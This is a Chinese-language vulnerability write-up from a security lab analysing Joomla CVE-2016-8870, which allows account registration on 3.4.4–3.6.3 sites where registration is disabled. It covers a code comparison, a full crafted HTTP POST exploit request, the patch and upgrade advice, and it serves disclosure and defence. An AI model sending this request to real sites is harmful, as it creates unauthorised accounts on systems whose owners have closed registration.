**Author: p0wd3r (知道创宇404安全实验室)** **Date: 2016-10-26** ## 0x00 漏洞概述 ### 1.漏洞简介 [Joomla](https://www.joomla.org/)是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:[CVE-2016-8869](https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html),[CVE-2016-8870](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布[升级公告](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。 ### 2.漏洞影响 网站关闭注册的情况下仍可创建用户 ### 3.影响版本 3.4.4 to 3.6.3 ## 0x01 漏洞复现 ### 1. 环境搭建 ```bash wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz ``` 解压后放到服务器目录下,例如`/var/www/html` 创建个数据库: ```bash docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql ``` 访问服务器路径进行安装即可。 ### 2.漏洞分析 在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法: -...
**Author: p0wd3r (知道创宇404安全实验室)** **Date: 2016-10-26** ## 0x00 漏洞概述 ### 1.漏洞简介 [Joomla](https://www.joomla.org/)是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:[CVE-2016-8869](https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html),[CVE-2016-8870](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布[升级公告](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。 ### 2.漏洞影响 网站关闭注册的情况下仍可创建用户 ### 3.影响版本 3.4.4 to 3.6.3 ## 0x01 漏洞复现 ### 1. 环境搭建 ```bash wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz ``` 解压后放到服务器目录下,例如`/var/www/html` 创建个数据库: ```bash docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql ``` 访问服务器路径进行安装即可。 ### 2.漏洞分析 在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法: - 位于`components/com_users/controllers/registration.php`中的`UsersControllerRegistration::register()` - 位于`components/com_users/controllers/user.php`中的`UsersControllerUser::register()` 我们对比一下代码: `UsersControllerRegistration::register()`: ```php public function register() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // If registration is disabled - Redirect to login page. if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; } $app = JFactory::getApplication(); $model = $this->getModel('Registration', 'UsersModel'); // Get the user data. $requestData = $this->input->post->get('jform', array(), 'array'); // Validate the posted data. $form = $model->getForm(); ... } ``` `UsersControllerUser::register()`: ```php public function register() { JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); // Get the application $app = JFactory::getApplication(); // Get the form data. $data = $this->input->post->get('user', array(), 'array'); // Get the model and validate the data. $model = $this->getModel('Registration', 'UsersModel'); $form = $model->getForm(); ... } ``` 可以看到相对于`UsersControllerRegistration::register()`,`UsersControllerUser::register()`的实现中并没有这几行代码: ```php // If registration is disabled - Redirect to login page. if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; } ``` 这几行代码是检查是否允许注册,也就是说如果我们可以用`UsersControllerUser::register()`这个方法来进行注册就可以绕过这个检测。 通过测试可知正常的注册使用的是`UsersControllerRegistration::register()`,请求包如下: ``` POST /index.php/component/users/?task=registration.register HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI ... Cookie: yourcookie ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[name]" tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[username]" tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[password1]" tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[password2]" tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[email1]" tomcat@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="jform[email2]" tomcat@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="option" com_users ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="task" registration.register ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="yourtoken" 1 ------WebKitFormBoundaryefGhagtDbsLTW5qI-- ``` 虽然正常注册并没有使用`UsersControllerUser::register()`,但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册: - `registration.register` -> `user.register` - `jform[*]` -> `user[*]` 所以完整的复现流程如下: 1.首先在后台关闭注册功能,关闭后首页没有注册选项:  2.然后通过访问`index.php`抓包获取cookie,通过看`index.php`源码获取token:   3.构造注册请求: ``` POST /index.php/component/users/?task=registration.register HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI ... Cookie: yourcookie ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[name]" attacker ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[username]" attacker ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password1]" attacker ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password2]" attacker ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email1]" attacker@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email2]" attacker@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="option" com_users ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="task" user.register ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="yourtoken" 1 ------WebKitFormBoundaryefGhagtDbsLTW5qI-- ``` 4.发包,成功注册:  ### 3.补丁分析  官方删除了`UsersControllerUser::register()`方法。 ## 0x02 修复方案 升级到3.6.4 ## 0x03 参考 http://paper.seebug.org/86/ [https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html) [http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html](http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html) [https://www.youtube.com/watch?v=Q_2M2oJp5l4](https://www.youtube.com/watch?v=Q_2M2oJp5l4)